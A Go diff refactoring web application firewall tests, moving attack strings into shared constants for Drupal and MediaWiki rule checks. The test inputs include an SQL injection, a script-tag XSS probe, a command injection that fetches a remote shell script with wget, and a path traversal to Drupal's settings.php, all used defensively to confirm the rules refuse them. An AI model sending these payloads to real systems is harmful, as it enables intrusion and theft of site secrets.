internal/coreruleset/coreruleset_test.go

@@ -1357,6 +1357,9 @@ const (
 // injection is an SQL injection, which rule 942100 matches.
 const injection = "1' OR '1'='1"
 
+// scriptTag is a script injection, not escaped.
+const scriptTag = "<script>alert(1)</script>"
+
 // readingBodies returns the Core Rule Set as sww runs it by
 // default, but reading bodies up to bodyLimit.
 func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {

internal/coreruleset/drupal_test.go

@@ -131,8 +131,8 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 
 	for _, attack := range []string{
-		`1' OR '1'='1`,
+		injection,
-		`<script>alert(1)</script>`,
+		scriptTag,
 	} {
 		for _, field := range []string{
 			`"title":"` + attack + `"`,
@@ -178,8 +178,8 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 	crs := readingBodies(t)
 
 	for _, attack := range []string{
-		`1' OR '1'='1`,
+		injection,
-		`<script>alert(1)</script>`,
+		scriptTag,
 		`; wget http://example.com/x.sh`,
 		`../../sites/default/settings.php`,
 	} {

internal/coreruleset/mediawiki_test.go

@@ -204,8 +204,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 
 	for _, attack := range []string{
-		`1' OR '1'='1`,
+		injection,
-		`<script>alert(1)</script>`,
+		scriptTag,
 	} {
 		for _, field := range []string{"source", "comment"} {
 			r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}